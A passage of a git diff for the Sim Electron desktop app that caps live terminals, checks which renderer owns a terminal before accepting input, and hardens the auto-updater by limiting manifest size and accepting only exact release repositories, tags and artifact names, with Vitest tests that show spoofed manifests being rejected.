+    expect(terminals.closeUserTerminal('chat-A', first, owner as never).tabs).toHaveLength(2)
+    terminals.setPanelVisible('chat-A', true, owner as never)
+    expect(terminals.closeUserTerminal('chat-A', first, other as never).tabs).toHaveLength(2)
+    expect(terminals.closeUserTerminal('chat-B', '1', owner as never)).toEqual({
+      tabs: [],
+      activeTerminalId: null,
+    })
+
+    const closed = terminals.closeUserTerminal('chat-A', first, owner as never)
+    expect(closed.tabs).toHaveLength(1)
+    expect(closed.activeTerminalId).toBe(second)
+  })
 })
diff --git a/apps/desktop/src/main/terminal/registry.ts b/apps/desktop/src/main/terminal/registry.ts
index 673b29beb99..0dec570e95b 100644
--- a/apps/desktop/src/main/terminal/registry.ts
+++ b/apps/desktop/src/main/terminal/registry.ts
@@ -11,7 +11,16 @@ import {
 import { type BrowserWindow, dialog, type WebContents } from 'electron'
 import type { TerminalSessionSnapshot } from '@/main/desktop-chat-session-store'
 import type { FocusedResourceShortcut } from '@/main/resource-shortcuts'
-import { TerminalService, type TerminalServiceOptions, type TerminalSink } from '@/main/terminal'
+import {
+  MAX_TERMINALS_PER_SCOPE,
+  TerminalError,
+  TerminalService,
+  type TerminalServiceOptions,
+  type TerminalSink,
+} from '@/main/terminal'
+
+/** Native PTYs and their headless xterm buffers are process-wide resources. */
+export const MAX_TERMINALS_PER_PROCESS = 48
 
 /** Live terminal events tagged with the chat scope that owns their service. */
 export interface ScopedTerminalSink {
@@ -54,6 +63,28 @@ function restorableCwd(cwd: string): string | undefined {
   }
 }
 
+/**
+ * Bounds a saved descriptor while retaining the selected tab when it falls
+ * beyond the ordered prefix. The selected tab replaces the final retained
+ * entry, preserving relative order for every other survivor.
+ */
+function boundSnapshot(
+  snapshot: TerminalSessionSnapshot | undefined
+): TerminalSessionSnapshot | undefined {
+  if (!snapshot) return undefined
+  if (snapshot.tabs.length <= MAX_TERMINALS_PER_SCOPE) return snapshot
+  const activeIndex = Math.min(Math.max(0, snapshot.activeIndex), snapshot.tabs.length - 1)
+  const tabs = snapshot.tabs.slice(0, MAX_TERMINALS_PER_SCOPE)
+  if (activeIndex >= MAX_TERMINALS_PER_SCOPE) {
+    tabs[MAX_TERMINALS_PER_SCOPE - 1] = snapshot.tabs[activeIndex]
+  }
+  return {
+    v: 1,
+    tabs,
+    activeIndex: activeIndex < MAX_TERMINALS_PER_SCOPE ? activeIndex : MAX_TERMINALS_PER_SCOPE - 1,
+  }
+}
+
 /**
  * Owns one independent terminal service per chat scope.
  *
@@ -132,11 +163,28 @@ export class TerminalRegistry {
     return this.serviceFor(scope).closeTerminal(terminalId)
   }
 
+  /** Closes a tab only from the renderer that currently displays its scope. */
+  closeUserTerminal(scope: string, terminalId: string, owner: WebContents): TerminalTabsState {
+    if (this.suspendedScopes.has(scope)) return { tabs: [], activeTerminalId: null }
+    const service = this.entries.get(scope)?.service
+    if (!service?.acceptsUserClose(owner, terminalId)) return this.peekTabs(scope)
+    return service.closeTerminal(terminalId)
+  }
+
   write(scope: string, terminalId: string, data: string): void {
     if (this.suspendedScopes.has(scope)) return
     this.serviceFor(scope).write(terminalId, data)
   }
 
+  /** Applies user input only to the visible active tab owned by its renderer. */
+  writeUserInput(scope: string, terminalId: string, data: string, owner: WebContents): boolean {
+    if (this.suspendedScopes.has(scope)) return false
+    const service = this.entries.get(scope)?.service
+    if (!service?.acceptsUserInput(owner, terminalId)) return false
+    service.write(terminalId, data)
+    return true
+  }
+
   resize(scope: string, terminalId: string, cols: number, rows: number): void {
     if (this.suspendedScopes.has(scope)) return
     this.serviceFor(scope).resize(terminalId, cols, rows)
@@ -321,12 +369,12 @@ export class TerminalRegistry {
     const existing = this.entries.get(scope)
     if (existing) return existing
 
-    const persisted = this.persistence?.load(scope)
-    const rememberedCwd = persisted?.tabs[0]?.cwd
+    const persisted = boundSnapshot(this.persistence?.load(scope))
     const entry: TerminalRegistryEntry = {
       scope,
       service: this.serviceFactory(scope, {
-        loadCwd: () => rememberedCwd,
+        loadCwd: () => this.entries.get(scope)?.persisted?.tabs[0]?.cwd,
+        canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS,
       }),
       persisted,
       restoreApplied: false,
@@ -348,6 +396,15 @@ export class TerminalRegistry {
   ): TerminalTabsState {
     if (entry.restoreApplied) return entry.service.start(options)
 
+    const requiredSlots = entry.persisted?.tabs.length ?? 1
+    const availableSlots = Math.max(0, MAX_TERMINALS_PER_PROCESS - this.liveTerminalCount())
+    if (requiredSlots > availableSlots) {
+      throw new TerminalError(
+        'RESOURCE_LIMIT',
+        `Sim can have at most ${MAX_TERMINALS_PER_PROCESS} live terminals. Close a terminal before opening another.`
+      )
+    }
+
     entry.restoreApplied = true
     entry.restoring = true
     let tabs: TerminalTabsState
@@ -358,16 +415,42 @@ export class TerminalRegistry {
         for (const tab of persisted.tabs.slice(1)) {
           entry.service.restoreTerminal(restorableCwd(tab.cwd))
         }
-        const restored = entry.service.getTabs()
-        const active = restored.tabs[persisted.activeIndex]
+        const restoredState = entry.service.getTabs()
+        const active = restoredState.tabs[persisted.activeIndex]
         if (active) entry.service.restoreActiveTerminal(active.terminalId)
       }
       tabs = entry.service.getTabs()
+    } catch (error) {
+      const owners = entry.service.getPanelOwners()
+      entry.service.setSink(null)
+      entry.service.dispose()
+      let replacement: TerminalService
+      try {
+        replacement = this.serviceFactory(entry.scope, {
+          loadCwd: () => entry.persisted?.tabs[0]?.cwd,
+          canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS,
+        })
+      } catch {
+        this.entries.delete(entry.scope)
+        throw error
+      }
+      entry.service = replacement
+      try {
+        entry.restoreApplied = false
+        this.bindSink(entry)
+        if (owners.visible) entry.service.setPanelVisible(true, owners.visible)
+        if (owners.focused) entry.service.setPanelFocused(true, owners.focused)
+      } catch {
+        entry.service.setSink(null)
+        entry.service.dispose()
+        this.entries.delete(entry.scope)
+      }
+      throw error
     } finally {
       entry.restoring = false
-      entry.persisted = undefined
     }
-    this.persistTabs(entry, tabs)
+    entry.persisted = undefined
+    this.publishTabs(entry, tabs)
     return tabs
   }
 
@@ -382,16 +465,23 @@ export class TerminalRegistry {
     }
 
     const sink: TerminalSink = {
-      data: (terminalId, data) => this.sink?.data(entry.scope, terminalId, data),
-      tabs: (state) => {
-        this.persistTabs(entry, state)
-        this.sink?.tabs(entry.scope, state)
+      data: (terminalId, data) => {
+        if (!entry.restoring) this.sink?.data(entry.scope, terminalId, data)
+      },
+      tabs: (state) => this.publishTabs(entry, state),
+      command: (event) => {
+        if (!entry.restoring) this.sink?.command(entry.scope, event)
       },
-      command: (event) => this.sink?.command(entry.scope, event),
     }
     entry.service.setSink(sink)
   }
 
+  private publishTabs(entry: TerminalRegistryEntry, state: TerminalTabsState): void {
+    if (entry.restoring) return
+    this.persistTabs(entry, state)
+    this.sink?.tabs(entry.scope, state)
+  }
+
   private persistEntry(entry: TerminalRegistryEntry): boolean {
     return this.persistTabs(entry, entry.service.getTabs())
   }
@@ -408,4 +498,10 @@ export class TerminalRegistry {
     )
     return this.persistence.save(entry.scope, { v: 1, tabs, activeIndex })
   }
+
+  private liveTerminalCount(): number {
+    let count = 0
+    for (const entry of this.entries.values()) count += entry.service.getTabs().tabs.length
+    return count
+  }
 }
diff --git a/apps/desktop/src/main/terminal/service.test.ts b/apps/desktop/src/main/terminal/service.test.ts
index cef327baa5e..60a3060bb79 100644
--- a/apps/desktop/src/main/terminal/service.test.ts
+++ b/apps/desktop/src/main/terminal/service.test.ts
@@ -397,6 +397,20 @@ describe('focus-gated shortcuts', () => {
     ).toBe('/alpha')
   })
 
+  it('fails cleanly instead of opening a seventeenth terminal', () => {
+    const terminal = service()
+    terminal.start({ cols: 80, rows: 24 })
+    while (terminal.getTabs().tabs.length < 16) terminal.openTerminal()
+
+    expect(() => terminal.openTerminal()).toThrow(
+      expect.objectContaining({
+        code: 'RESOURCE_LIMIT',
+        message: 'A task can have at most 16 live terminals.',
+      })
+    )
+    expect(terminal.getTabs().tabs).toHaveLength(16)
+  })
+
   it('ignores a blur reported by a renderer that does not hold the claim', () => {
     // Every renderer reports its own blur, so a second window switching away
     // from its terminal sends `false` from a WebContents that never claimed.
diff --git a/apps/desktop/src/main/tray.test.ts b/apps/desktop/src/main/tray.test.ts
index 1cd08dcaffc..ce688effc3f 100644
--- a/apps/desktop/src/main/tray.test.ts
+++ b/apps/desktop/src/main/tray.test.ts
@@ -179,6 +179,9 @@ describe('buildTrayMenuTemplate', () => {
     const seen = template.find((item) => item.label === 'Seen')
     expect(working?.icon).toBeDefined()
     expect(fresh?.icon).toBeDefined()
+    expect(working?.accessibilityLabel).toBe('Working, running')
+    expect(fresh?.accessibilityLabel).toBe('Fresh, unread')
+    expect(seen?.accessibilityLabel).toBe('Seen')
     // Active (yellow) and unread (green) use distinct images; read chats get none.
     expect(working?.icon).not.toBe(fresh?.icon)
     expect(seen?.icon).toBeUndefined()
diff --git a/apps/desktop/src/main/tray.ts b/apps/desktop/src/main/tray.ts
index 1f21815dc2e..7ae06b73c72 100644
--- a/apps/desktop/src/main/tray.ts
+++ b/apps/desktop/src/main/tray.ts
@@ -336,8 +336,12 @@ export interface TrayDeps {
 
 function chatMenuItem(chat: RecentChat, deps: TrayDeps): MenuItemConstructorOptions {
   const icon = statusDotImage(chat.status)
+  const statusLabel =
+    chat.status === 'active' ? 'running' : chat.status === 'unread' ? 'unread' : ''
+  const label = truncate(chat.title, 57, '…')
   return {
-    label: truncate(chat.title, 57, '…'),
+    label,
+    accessibilityLabel: statusLabel ? `${label}, ${statusLabel}` : label,
     ...(icon ? { icon } : {}),
     click: () => deps.openMainWindow(chatRoute(chat)),
   }
diff --git a/apps/desktop/src/main/updater.test.ts b/apps/desktop/src/main/updater.test.ts
index 5f00197d3c2..a95d2839873 100644
--- a/apps/desktop/src/main/updater.test.ts
+++ b/apps/desktop/src/main/updater.test.ts
@@ -3,8 +3,15 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
 vi.mock('electron', () => import('@/test/electron-mock'))
 
+let updaterChannel = ''
 const autoUpdaterMock = {
-  channel: '',
+  get channel() {
+    return updaterChannel
+  },
+  set channel(value: string) {
+    updaterChannel = value
+    this.allowDowngrade = true
+  },
   allowDowngrade: false,
   autoDownload: true,
   autoInstallOnAppQuit: false,
@@ -12,7 +19,7 @@ const autoUpdaterMock = {
   logger: null as unknown,
   on: vi.fn(),
   setFeedURL: vi.fn(),
-  checkForUpdates: vi.fn(() => Promise.resolve(null)),
+  checkForUpdates: vi.fn<() => Promise<null>>(),
   downloadUpdate: vi.fn(() => Promise.resolve([])),
   quitAndInstall: vi.fn(),
 }
@@ -25,6 +32,7 @@ import {
   isDowngrade,
   isNewerVersion,
   parseSemver,
+  readUpdateManifest,
   resolveUpdateChannel,
   type UpdaterHandle,
   updateCheckIntervalMs,
@@ -149,6 +157,7 @@ describe('initUpdater state machine', () => {
     autoDownload?: boolean
     feedAvailable?: boolean | 'no-release'
     probeOriginFeed?: (feedUrl: string) => Promise<boolean | 'no-release'>
+    beforeInstall?: () => Promise<void>
   }) {
     const states: DesktopUpdateState[] = []
     const handle = initUpdater({
@@ -161,6 +170,8 @@ describe('initUpdater state machine', () => {
         autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'],
       probeOriginFeed: options?.probeOriginFeed ?? (async () => options?.feedAvailable ?? false),
       canSelfUpdate: async () => true,
+      platform: 'darwin',
+      beforeInstall: options?.beforeInstall,
     })
     // Engine selection (signature detection) resolves asynchronously.
     await vi.advanceTimersByTimeAsync(0)
@@ -172,9 +183,11 @@ describe('initUpdater state machine', () => {
     autoUpdaterMock.on.mockClear()
     autoUpdaterMock.setFeedURL.mockClear()
     autoUpdaterMock.checkForUpdates.mockClear()
+    autoUpdaterMock.checkForUpdates.mockImplementation(() => new Promise(() => {}))
     autoUpdaterMock.downloadUpdate.mockClear()
     autoUpdaterMock.quitAndInstall.mockClear()
     autoUpdaterMock.autoRunAppAfterInstall = false
+    updaterChannel = ''
     vi.mocked(dialog.showMessageBox).mockResolvedValue({ response: 1, checkboxChecked: false })
   })
 
@@ -189,7 +202,8 @@ describe('initUpdater state machine', () => {
     handle.install()
     expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
 
-    emit('checking-for-update')
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
     emit('update-available', { version: '2.0.0' })
     emit('download-progress', { percent: 41.7 })
     emit('update-downloaded', { version: '2.0.0' })
@@ -211,12 +225,20 @@ describe('initUpdater state machine', () => {
     autoUpdaterMock.autoDownload = false
     const { handle } = await createUpdater({ autoDownload: false })
 
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
     emit('update-available', { version: '2.0.0' })
     expect(handle.getState()).toEqual({ status: 'available', version: '2.0.0' })
 
     handle.check()
     expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1)
-    expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled()
+    expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1)
+    expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' })
+
+    handle.check()
+    expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1)
+    emit('download-progress', { percent: 41.7 })
+    expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0', percent: 42 })
 
     emit('update-downloaded', { version: '2.0.0' })
     expect(dialog.showMessageBox).not.toHaveBeenCalled()
@@ -224,6 +246,64 @@ describe('initUpdater state machine', () => {
     expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1)
   })
 
+  it('surfaces a manually started download failure without installing', async () => {
+    autoUpdaterMock.downloadUpdate.mockRejectedValueOnce(new Error('download failed'))
+    const { handle } = await createUpdater({ autoDownload: false })
+
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+    emit('update-available', { version: '2.0.0' })
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' })
+    emit('update-downloaded', { version: '2.0.0' })
+    expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
+  })
+
+  it('awaits desktop teardown before Squirrel terminates the process', async () => {
+    let finishTeardown: (() => void) | undefined
+    const beforeInstall = vi.fn(
+      () =>
+        new Promise<void>((resolve) => {
+          finishTeardown = resolve
+        })
+    )
+    const { handle } = await createUpdater({ autoDownload: false, beforeInstall })
+
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+    emit('update-available', { version: '2.0.0' })
+    handle.check()
+    emit('update-downloaded', { version: '2.0.0' })
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(beforeInstall).toHaveBeenCalledTimes(1)
+    expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
+
+    finishTeardown?.()
+    await vi.advanceTimersByTimeAsync(0)
+    expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1)
+  })
+
+  it('does not install when pre-install teardown fails', async () => {
+    const beforeInstall = vi.fn(async () => {
+      throw new Error('flush failed')
+    })
+    const { handle } = await createUpdater({ beforeInstall })
+
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+    emit('update-available', { version: '2.0.0' })
+    emit('update-downloaded', { version: '2.0.0' })
+    handle.install()
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled()
+    expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false)
+    expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' })
+  })
+
   it('checks from idle and ignores re-entrant checks while busy', async () => {
     const { handle } = await createUpdater()
     handle.check()
@@ -250,6 +330,7 @@ describe('initUpdater state machine', () => {
         autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'],
       probeOriginFeed: async () => true,
       canSelfUpdate: () => capability,
+      platform: 'darwin',
     })
 
     handle.check()
@@ -262,6 +343,9 @@ describe('initUpdater state machine', () => {
 
   it('resets to idle when a downloaded update is a blocked downgrade', async () => {
     const { handle } = await createUpdater()
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+    emit('update-available', { version: '2.0.0' })
     emit('update-downloaded', { version: '0.0.1' })
     expect(handle.getState()).toEqual({ status: 'idle' })
     handle.install()
@@ -272,6 +356,8 @@ describe('initUpdater state machine', () => {
     const { handle } = await createUpdater()
 
     for (const version of ['1.0.0', '0.9.9', 'nightly', '2.0.0-dev.1']) {
+      handle.check()
+      await vi.advanceTimersByTimeAsync(0)
       emit('update-available', { version })
       expect(handle.getState()).toEqual({ status: 'idle' })
     }
@@ -281,8 +367,12 @@ describe('initUpdater state machine', () => {
 
   it('surfaces updater errors and recovers via update-not-available', async () => {
     const { handle } = await createUpdater()
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
     emit('error', new Error('feed unreachable'))
     expect(handle.getState()).toEqual({ status: 'error' })
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
     emit('update-not-available')
     expect(handle.getState()).toEqual({ status: 'idle' })
   })
@@ -297,6 +387,48 @@ describe('initUpdater state machine', () => {
       channel: 'latest',
     })
     expect(autoUpdaterMock.channel).toBe('latest')
+    expect(autoUpdaterMock.allowDowngrade).toBe(false)
+  })
+
+  it('accepts only exact repository, tag, and artifact URLs from an origin feed', async () => {
+    const { handle } = await createUpdater({ feedAvailable: true })
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+
+    emit('update-available', {
+      version: '2.0.0',
+      files: [
+        {
+          url: 'https://github.com/simstudioai/sim/releases/download/v2.0.0/Sim-2.0.0-universal.zip',
+          sha512: 'checksum',
+        },
+      ],
+    })
+
+    expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' })
+  })
+
+  it('blocks an origin manifest that points at an unexpected release artifact', async () => {
+    const { handle } = await createUpdater({ feedAvailable: true })
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+
+    emit('update-available', {
+      version: '2.0.0',
+      files: [
+        {
+          url: 'https://github.com/simstudioai/sim/releases/download/v1.9.9/unreviewed.dmg',
+          sha512: 'checksum',
+        },
+      ],
+    })
+
+    expect(handle.getState()).toEqual({ status: 'idle' })
+    expect(autoUpdaterMock.autoInstallOnAppQuit).toBe(false)
+    expect(events.record).toHaveBeenCalledWith('update_blocked_version', {
+      version: '2.0.0',
+      reason: 'unusable-url',
+    })
   })
 
   it('keeps the packaged GitHub feed when the origin has no feed', async () => {
@@ -347,6 +479,92 @@ describe('initUpdater state machine', () => {
     expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled()
   })
 
+  it('ignores a feed probe that resolves after its timeout generation', async () => {
+    let resolveProbe: ((available: boolean) => void) | undefined
+    const probeOriginFeed = vi.fn(
+      () =>
+        new Promise<boolean>((resolve) => {
+          resolveProbe = resolve
+        })
+    )
+    const { handle } = await createUpdater({ probeOriginFeed })
+
+    handle.check()
+    await vi.advanceTimersByTimeAsync(10_000)
+    resolveProbe?.(true)
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(handle.getState()).toEqual({ status: 'error' })
+    expect(autoUpdaterMock.setFeedURL).not.toHaveBeenCalled()
+    expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled()
+  })
+
+  it('gives the updater request a fresh timeout after a slow feed probe', async () => {
+    let resolveProbe: ((available: boolean) => void) | undefined
+    const probeOriginFeed = vi.fn(
+      () =>
+        new Promise<boolean>((resolve) => {
+          resolveProbe = resolve
+        })
+    )
+    const { handle } = await createUpdater({ probeOriginFeed })
+
+    handle.check()
+    await vi.advanceTimersByTimeAsync(9_000)
+    resolveProbe?.(true)
+    await vi.advanceTimersByTimeAsync(0)
+    await vi.advanceTimersByTimeAsync(9_999)
+    expect(handle.getState()).toEqual({ status: 'checking' })
+
+    await vi.advanceTimersByTimeAsync(1)
+    expect(handle.getState()).toEqual({ status: 'error' })
+  })
+
+  it('waits for a timed-out updater request to settle before retrying', async () => {
+    let resolveRequest: ((result: null) => void) | undefined
+    autoUpdaterMock.checkForUpdates.mockImplementationOnce(
+      () =>
+        new Promise<null>((resolve) => {
+          resolveRequest = resolve
+        })
+    )
+    const { handle } = await createUpdater({ feedAvailable: true })
+    handle.check()
+    await vi.advanceTimersByTimeAsync(10_000)
+    expect(handle.getState()).toEqual({ status: 'error' })
+
+    emit('update-available', { version: '2.0.0' })
+    emit('update-not-available')
+    expect(handle.getState()).toEqual({ status: 'error' })
+
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+    expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1)
+
+    resolveRequest?.(null)
+    await vi.advanceTimersByTimeAsync(0)
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+    expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(2)
+  })
+
+  it('does not initialize the updater outside macOS', () => {
+    const loadAutoUpdater = vi.fn(
+      () => autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater']
+    )
+    const handle = initUpdater({
+      getWindow: () => null,
+      events,
+      appOrigin: () => 'https://sim.ai',
+      loadAutoUpdater,
+      platform: 'win32',
+    })
+
+    handle.check()
+    expect(loadAutoUpdater).not.toHaveBeenCalled()
+    expect(handle.getState()).toEqual({ status: 'idle' })
+  })
+
   it('fails interactive checks promptly on prerelease builds when the origin feed is down', async () => {
     // The GitHub fallback is stable-only: a Sim Dev shell can never apply a
     // prod-identity artifact, so it must not check against it.
@@ -391,15 +609,53 @@ describe('initUpdater state machine', () => {
   })
 })
 
+describe('readUpdateManifest', () => {
+  it('streams a manifest within the byte limit', async () => {
+    const response = new Response(
+      new ReadableStream<Uint8Array>({
+        start(controller) {
+          controller.enqueue(new TextEncoder().encode('version: '))
+          controller.enqueue(new TextEncoder().encode('1.2.3'))
+          controller.close()
+        },
+      }),
+      { status: 200 }
+    )
+
+    await expect(readUpdateManifest(response)).resolves.toBe('version: 1.2.3')
+  })
+
+  it('rejects a manifest whose declared size exceeds the limit before reading', async () => {
+    const response = new Response('small body', {
+      status: 200,
+      headers: { 'content-length': String(256 * 1024 + 1) },
+    })
+
+    await expect(readUpdateManifest(response)).rejects.toThrow('size limit')
+  })
+
+  it('stops a streamed manifest once its body exceeds the limit', async () => {
+    const response = new Response(new Uint8Array(256 * 1024 + 1), { status: 200 })
+
+    await expect(readUpdateManifest(response)).rejects.toThrow('size limit')
+  })
+
+  it('does not read an unsuccessful response body', async () => {
+    const response = new Response('not found', { status: 404 })
+
+    await expect(readUpdateManifest(response)).resolves.toBeNull()
+  })
+})
+
 function manifest(version: string, repository = 'simstudioai/sim'): string {
   return [
     `version: ${version}`,
     'files:',
-    `  - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`,
+    `  - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`,
     '    sha512: abc',
     `  - url: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.dmg`,
     '    sha512: def',
-    `path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal-mac.zip`,
+    `path: https://github.com/${repository}/releases/download/v${version}/Sim-${version}-universal.zip`,
     "releaseDate: '2026-07-23T00:00:00.000Z'",
   ].join('\n')
 }
@@ -416,6 +672,7 @@ describe('initUpdater manual mode (no Developer ID signature)', () => {
       onStateChange: (state) => states.push(state),
       canSelfUpdate: async () => false,
       fetchManifest,
+      platform: 'darwin',
     })
     await vi.advanceTimersByTimeAsync(0)
     return { handle, states }
@@ -454,23 +711,81 @@ describe('initUpdater manual mode (no Developer ID signature)', () => {
   })
 
   it('offers prerelease-repository assets as manual downloads', async () => {
+    vi.mocked(app.getVersion).mockReturnValue('1.0.0-dev.1')
     const fetchManifest = vi.fn(async () =>
       manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases')
     )
-    const { handle } = await createManualUpdater(fetchManifest)
+    try {
+      const { handle } = await createManualUpdater(fetchManifest)
+
+      handle.check()
+      await vi.advanceTimersByTimeAsync(0)
+      expect(handle.getState()).toEqual({
+        status: 'available',
+        version: '9.9.9-dev.1',
+        manual: true,
+      })
+
+      handle.check()
+      expect(shell.openExternal).toHaveBeenCalledWith(
+        'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg'
+      )
+    } finally {
+      vi.mocked(app.getVersion).mockReturnValue('1.0.0')
+    }
+  })
+
+  it('rejects a newer version from another update channel', async () => {
+    const { handle } = await createManualUpdater(async () =>
+      manifest('9.9.9-dev.1', 'simstudioai/sim-desktop-releases')
+    )
 
     handle.check()
     await vi.advanceTimersByTimeAsync(0)
-    expect(handle.getState()).toEqual({
-      status: 'available',
-      version: '9.9.9-dev.1',
-      manual: true,
-    })
+
+    expect(handle.getState()).toEqual({ status: 'idle', manual: true })
+    expect(shell.openExternal).not.toHaveBeenCalled()
+  })
+
+  it('rejects an allowed repository asset under a different release tag', async () => {
+    const mismatchedTag = manifest('9.9.9').replaceAll('/v9.9.9/', '/v9.9.8/')
+    const { handle } = await createManualUpdater(async () => mismatchedTag)
 
     handle.check()
-    expect(shell.openExternal).toHaveBeenCalledWith(
-      'https://github.com/simstudioai/sim-desktop-releases/releases/download/v9.9.9-dev.1/Sim-9.9.9-dev.1-universal.dmg'
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
+    expect(shell.openExternal).not.toHaveBeenCalled()
+  })
+
+  it('rejects unexpected asset names on the expected release', async () => {
+    const unexpectedName = manifest('9.9.9').replaceAll('Sim-9.9.9-universal', 'unreviewed-payload')
+    const { handle } = await createManualUpdater(async () => unexpectedName)
+
+    handle.check()
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
+    expect(shell.openExternal).not.toHaveBeenCalled()
+  })
+
+  it('ignores a manifest that arrives after the manual check timeout', async () => {
+    let resolveManifest: ((manifestBody: string) => void) | undefined
+    const { handle } = await createManualUpdater(
+      () =>
+        new Promise<string>((resolve) => {
+          resolveManifest = resolve
+        })
     )
+
+    handle.check()
+    await vi.advanceTimersByTimeAsync(10_000)
+    expect(handle.getState()).toEqual({ status: 'error', manual: true })
+
+    resolveManifest?.(manifest('9.9.9'))
+    await vi.advanceTimersByTimeAsync(0)
+    expect(handle.getState()).toEqual({ status: 'error', manual: true })
+    expect(shell.openExternal).not.toHaveBeenCalled()
   })
 
   it('refuses a manifest whose download urls are not http(s)', async () => {
@@ -596,6 +911,7 @@ describe('checkForUpdatesInteractive', () => {
       appOrigin: () => 'https://www.dev.sim.ai',
       canSelfUpdate: async () => false,
       fetchManifest: async () => manifest(version),
+      platform: 'darwin',
     })
     await vi.advanceTimersByTimeAsync(0)
     return handle
diff --git a/apps/desktop/src/main/updater.ts b/apps/desktop/src/main/updater.ts
index a6702d0090b..aaa2f3a360e 100644
--- a/apps/desktop/src/main/updater.ts
+++ b/apps/desktop/src/main/updater.ts
@@ -15,9 +15,43 @@ const STABLE_CHECK_INTERVAL_MS = 30 * 60 * 1000
 const UPDATE_CHECK_TIMEOUT_MS = 10_000
 const INTERACTIVE_FEEDBACK_TIMEOUT_MS = 12_000
 const FEED_STATUS_HEADER = 'x-sim-desktop-update-feed'
+const MAX_UPDATE_MANIFEST_BYTES = 256 * 1024
 
 export type UpdateChannel = 'latest' | 'staging' | 'dev'
 
+/** Reads a small updater manifest without allowing an origin to fill main-process memory. */
+export async function readUpdateManifest(response: Response): Promise<string | null> {
+  if (!response.ok) return null
+  const declaredLength = response.headers.get('content-length')
+  if (declaredLength !== null) {
+    const bytes = Number(declaredLength)
+    if (!Number.isSafeInteger(bytes) || bytes < 0 || bytes > MAX_UPDATE_MANIFEST_BYTES) {
+      throw new Error('Update manifest exceeded the size limit')
+    }
+  }
+
+  if (!response.body) return ''
+  const reader = response.body.getReader()
+  const decoder = new TextDecoder()
+  let bytesRead = 0
+  let manifest = ''
+  try {
+    while (true) {
+      const { done, value } = await reader.read()
+      if (done) break
+      bytesRead += value.byteLength
+      if (bytesRead > MAX_UPDATE_MANIFEST_BYTES) {
+        await reader.cancel()
+        throw new Error('Update manifest exceeded the size limit')
+      }
+      manifest += decoder.decode(value, { stream: true })
+    }
+    return manifest + decoder.decode()
+  } finally {
+    reader.releaseLock()
+  }
+}
+
 /**
  * The per-environment update feed served by the Sim deployment this shell is
  * pointed at (`/api/desktop/update/latest-mac.yml`). Each environment pins
@@ -39,26 +73,37 @@ export function feedUrlForOrigin(origin: string): string | null {
 
 /**
  * Where the feed rewrites every manifest entry to. Downloads are constrained to
- * this prefix rather than to https alone, so a feed that serves an attacker's
- * host cannot get a bundle in front of the user's Download button.
+ * the running channel's repository, the manifest version's tag, and the exact
+ * artifact names produced by the release workflow.
  */
 const RELEASE_ASSET_ORIGIN = 'https://github.com'
-const RELEASE_ASSET_PATHS = [
-  '/simstudioai/sim/releases/download/',
-  '/simstudioai/sim-desktop-releases/releases/download/',
-] as const
+const RELEASE_REPOSITORIES: Record<UpdateChannel, string> = {
+  latest: 'simstudioai/sim',
+  staging: 'simstudioai/sim-desktop-releases',
+  dev: 'simstudioai/sim-desktop-releases',
+}
 
-/** Whether a manifest url is one of our own release assets. */
-function isReleaseAssetUrl(rawUrl: string): boolean {
+function isReleaseAssetUrl(rawUrl: string, version: string, channel: UpdateChannel): boolean {
   if (!isSafeExternalUrl(rawUrl)) return false
   try {
     const url = new URL(rawUrl)
-    // Compared on the parsed origin and the parsed pathname, never by prefix on
-    // the raw string: `https://github.com.evil.example/…` must not pass, and
-    // `URL` has already normalized away any `..` segments by this point.
+    const normalizedVersion = version.replace(/^v/, '')
